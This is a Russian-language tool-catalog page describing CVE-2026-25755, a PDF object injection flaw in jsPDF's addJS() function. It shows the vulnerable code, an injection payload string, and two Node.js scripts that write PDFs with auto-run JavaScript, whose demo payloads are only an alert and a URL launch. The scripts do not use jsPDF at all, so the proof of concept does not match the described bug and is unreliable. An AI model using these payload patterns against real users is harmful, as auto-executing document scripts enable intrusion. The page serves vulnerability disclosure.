Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
jsPDF-Object-Injection — CVE-2026-25755 Критическая уязвимость внедрения PDF-объектов в jsPDF позволяет злоумышленникам внедрять произвольные PDF-объекты через функцию addJS(), что обеспечивает обход песочницы AcroJS и автоматическое выполнение скриптов при открытии PDF-файлов. | Kitploit
Инструменты/GitHubGitHub/absholi7ly/jspdf-object-injection
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийРазработка Полезной Нагрузки
GitHubabsholi7ly/jspdf-object-injection

jsPDF-Object-Injection

CVE-2026-25755 Критическая уязвимость внедрения PDF-объектов в jsPDF позволяет злоумышленникам внедрять произвольные PDF-объекты через функцию addJS(), что обеспечивает обход песочницы AcroJS и автоматическое выполнение скриптов при открытии PDF-файлов.

Репозиторий
6 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-25755: Обход песочницы jsPDF через внедрение объектов

Обзор

Критическая уязвимость внедрения PDF-объектов (CVE-2026-25755) была обнаружена в jsPDF — широко используемой JavaScript-библиотеке для генерации PDF-документов в клиентских приложениях. Уязвимость существует в функции addJS(), позволяя злоумышленникам внедрять произвольные PDF-объекты и обходить ограничения песочницы AcroJS из-за некорректной санитизации входных данных.


Корневая причина

Функция addJS() в jsPDF позволяет разработчикам встраивать JavaScript-код в генерируемые PDF-файлы. Однако до версии 4.2.0 функция не выполняла надлежащую санитизацию пользовательского ввода, содержащего специальные синтаксические символы PDF.

Уязвимый код (до версии 4.2.0)

root@kitploit:~
function addJS(javascript) {
    this.internal.write("/JS (" + javascript + ")");
}

Вектор внедрения

Функция напрямую конкатенирует пользовательский ввод в потоки PDF-объектов без экранирования:

  • Открывающая скобка (
  • Закрывающая скобка )
  • Обратный слэш \

Это позволяет злоумышленникам преждевременно закрыть контекст строки JavaScript и внедрить произвольные PDF-объекты.

Структура JavaScript в PDF

root@kitploit:~
/JS (app.alert('Hello World'))

Внедряемая нагрузка

root@kitploit:~
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";

Поток PDF-объекта

root@kitploit:~
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
     ↑
     Точка внедрения — контекст строки экранирован

Механизм внедрения

ШагДействиеРезультат
1) закрывает исходную строку /JSКонтекст строки завершён
2>> закрывает текущий PDF-объектСтруктура объекта нарушена
3/AA << /Open << ...Внедрён новый словарь действий
4Добавлены произвольные PDF-объектыДостигнуто полное внедрение объектов

PoC-код (Node.js)

Создайте файл с именем exploit.js и запишите в него следующее

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000092 00000 n 
0000000275 00000 n 
0000000352 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);

Нагрузка

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000089 00000 n 
0000000172 00000 n 
0000000249 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);
root@kitploit:~
Запустите node exploit.js

Результат: Файл exploit.pdf был создан в той же папке.

Скачать инструмент